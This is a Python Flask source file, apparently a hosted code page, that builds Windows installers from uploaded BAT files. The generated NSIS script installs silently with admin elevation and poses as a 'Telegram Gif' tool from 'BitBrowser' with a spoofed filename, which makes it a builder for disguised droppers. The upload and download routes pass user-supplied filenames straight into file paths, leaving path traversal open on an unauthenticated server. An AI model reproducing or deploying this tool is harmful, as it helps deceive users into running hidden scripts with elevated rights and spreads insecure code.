File size: 3,123 Bytes
adbe5cd
45a1acf
 
66f8fc1
45a1acf
 
b1f0958
66f8fc1
adbe5cd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
45a1acf
 
adbe5cd
66f8fc1
45a1acf
52ab4b4
ba94f86
68b5255
b1f0958
52ab4b4
68b5255
ba94f86
68b5255
b1f0958
68b5255
b1f0958
 
68b5255
52ab4b4
ba94f86
68b5255
2660f1c
c7ce71d
8c65765
3374df9
22cd272
3374df9
8c65765
3374df9
 
 
 
8c65765
 
 
68b5255
c7ce71d
8c65765
 
 
 
 
 
 
 
 
 
 
 
c7ce71d
8c65765
c7ce71d
37072f0
8c65765
 
22cd272
8c65765
c7ce71d
 
b1f0958
 
52ab4b4
b1f0958
 
 
 
 
3374df9
b1f0958
 
329f9c0
45a1acf
 
b1f0958
45a1acf
 
b1f0958
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from flask import Flask, request, send_file, render_template_string
import os
import subprocess

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

# HTML template for the index page
HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>NSIS Installer Creator</title>
</head>
<body>
    <h1>Upload Files to Create NSIS Installer</h1>
    <form action="/upload" method="post" enctype="multipart/form-data">
        <label for="bat_file">Upload BAT file:</label>
        <input type="file" name="bat_file" required><br><br>
        <input type="submit" value="Upload and Compile">
    </form>
</body>
</html>
"""

@app.route('/')
def index():
    return render_template_string(HTML_TEMPLATE)

@app.route('/upload', methods=['POST'])
def upload_files():
    if 'bat_file' not in request.files:
        return "No file part", 400

    bat_file = request.files['bat_file']

    if bat_file.filename == '':
        return "No selected file", 400

    # Define the path to save the uploaded file
    bat_path = os.path.join(app.config['UPLOAD_FOLDER'], bat_file.filename)

    # Save the uploaded file
    bat_file.save(bat_path)

    # Construct the NSIS script using the provided path
    nsi_script = f"""!include "MUI2.nsh"

# Define installer name and version
Outfile "bont.exe"
InstallDir "$PROGRAMDATA"

# Set the name of the application
Name "Telegram Gif"
Caption "bont 1.4.44.3"
VIProductVersion "1.4.44.3"

# Set the output directory and the base name of the installer file
SetCompressor /SOLID lzma

RequestExecutionLevel admin

# Silent install settings
SilentInstall silent
SilentUninstall silent

# Application metadata
VIAddVersionKey "ProductName" "Telegram Gif"
VIAddVersionKey "FileVersion" "1.4.44.3"
VIAddVersionKey "CompanyName" "BitBrowser"
VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser"
VIAddVersionKey "FileDescription" "Telegram Gif is a tool designed to enhance GIF handling and sharing on Telegram."
VIAddVersionKey "ProductVersion" "1.4.44.3"
VIAddVersionKey "OriginalFilename" "telegramm.exe"

# Define installer sections
Section "Install"
  SetOutPath "$INSTDIR"

  # Files to install
  File "{bat_path}"

SectionEnd
"""

    nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
    with open(nsi_path, 'w') as nsi_file:
        nsi_file.write(nsi_script)

    # Compile the NSIS script
    try:
        result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True)
        return f"Compilation successful! Download here: <a href='/download/bont.exe'>bont.exe</a>", 200
    except subprocess.CalledProcessError as e:
        return f"Compilation failed: {e.stderr}", 400

@app.route('/download/<filename>')
def download_file(filename):
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True)

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    app.run(host='0.0.0.0', port=7860)